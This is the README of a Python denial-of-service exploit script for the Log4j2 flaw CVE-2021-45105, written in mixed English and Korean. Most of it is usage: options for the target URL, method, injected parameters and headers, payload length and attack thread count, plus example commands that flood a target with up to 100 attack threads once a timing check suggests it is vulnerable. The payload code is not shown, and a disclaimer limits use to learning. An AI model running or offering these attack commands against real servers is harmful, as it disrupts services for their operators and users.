
log4j2 DoS 익스플로잇,CVE-2021-45105 익스플로잇,서비스 거부 PoC
author: 我超怕的
blog: https://www.cnblogs.com/iAmSoScArEd/
github: https://github.com/iAmSOScArEd/
date: 2021-12-20
log4j2 dos exploit
log4j2 dos 취약점 악용 스크립트
CVE-2021-45105 Exploit
CVE-2021-45105 악용 스크립트
Log4j2_dos.py -u <url> -m <method> -d <params> -H <header> -l <loop> -t <thread>
-u,--url attack target
-m,--method http method, only get and post. default is get.
-d,--data get or post params, json format like:{\"username\":\"\"}
-H,--header request header, json format like:{\"user-agent\":\"\"}
-l,--loop payload loop times (or length),default 100.it is determine where is the params, example get param max length or post param max length or request header max length
-t,--thread attack thread. default is 0, just request once.
usage:
Log4j2_dos.py -u http://url.com/ -d {\"username\":\"\"}
Log4j2_dos.py -u http://url.com/ -d {\"username\":\"\"} -l 500 -t 100
Log4j2_dos.py -u http://url.com/ -m post -d {\"username\":\"\"} -l 500
Log4j2_dos.py -u http://url.com/ -m post -H {\"user-agent\":\"\"} -l 500 -t 100
Log4j2_dos.py -u http://url.com/ -m post -d {\"username\":\"\"} -H {\"user-agent\":\"\"} -l 500
-l (--loop) the value needs to be set separately depending on the scene, not the larger the better. If it exceeds the length that the web server can accept, it may cause the attack detection to fail and no attack effect.
Output format:
[+] normal time:0.11111
[+] attack time:2.00000
if attack time -normal time>1 or something,it maybe exist vulnerability,can use -t param set attack thread.
Log4j2_dos.py -u <url> -m <method> -d <params> -H <header> -l <loop> -t <thread>
-u,--url 공격 대상
-m,--method 기본값 get, http 메서드, get과 post만 지원
-d,--data get 또는 post 요청 파라미터, json 형식, 예: {\"username\":\"\"}
-H,--header 요청 헤더, json 형식, 예: {\"user-agent\":\"\"}
-l,--loop 기본값 100, payload 반복 길이. 파라미터 위치에 따라 값을 다르게 설정. 예: 요청 헤더 최대 허용 길이, get 최대 길이, post 최대 길이
-t,--thread 기본값 0, 한 번만 요청. 공격 스레드.
일반적인 사용법:
# 기본 get, 100개 payload 반복, 공격 탐지 1회, username 파라미터에 공격 payload 추가
Log4j2_dos.py -u http://url.com/ -d {\"username\":\"\"}
# 기본 get, 500개 payload 반복 설정, 100개 공격 스레드 실행, username 파라미터에 공격 payload 추가
Log4j2_dos.py -u http://url.com/ -d {\"username\":\"\"} -l 500 -t 100
# POST 지정, 500개 payload 반복 설정, 공격 탐지 1회, username 파라미터에 공격 payload 추가
Log4j2_dos.py -u http://url.com/ -m post -d {\"username\":\"\"} -l 500
# POST 지정, 500개 payload 반복 설정, 100개 공격 스레드 실행, user-agent 요청 헤더에 공격 payload 추가
Log4j2_dos.py -u http://url.com/ -m post -H {\"user-agent\":\"\"} -l 500 -t 100
# POST 지정, 500개 payload 반복 설정, 공격 탐지 1회, username 파라미터와 user-agent 요청 헤더에 공격 payload 추가
Log4j2_dos.py -u http://url.com/ -m post -d {\"username\":\"\"} -H {\"user-agent\":\"\"} -l 500
-l (--loop) 값은 상황에 따라 별도로 설정해야 하며, 클수록 좋은 것이 아닙니다. 웹 서버가 수용할 수 있는 길이를 초과하면 공격 탐지에 실패하여 공격 효과가 없을 수 있습니다.
출력 형식:
[+] normal time:0.11111
[+] attack time:2.00000
attack time - normal time > 1 이거나 유사한 경우 취약점이 존재할 가능성이 있으며, -t 파라미터를 사용하여 공격 스레드를 설정할 수 있습니다.
불법적인 용도로 사용하지 마십시오. 학습 및 참고용으로만 제공됩니다. 모든 불법 행위는 본인과 무관합니다.
(형편없는 영어, 번역 안 했습니다. 그냥 봐주세요.)
By:我超怕的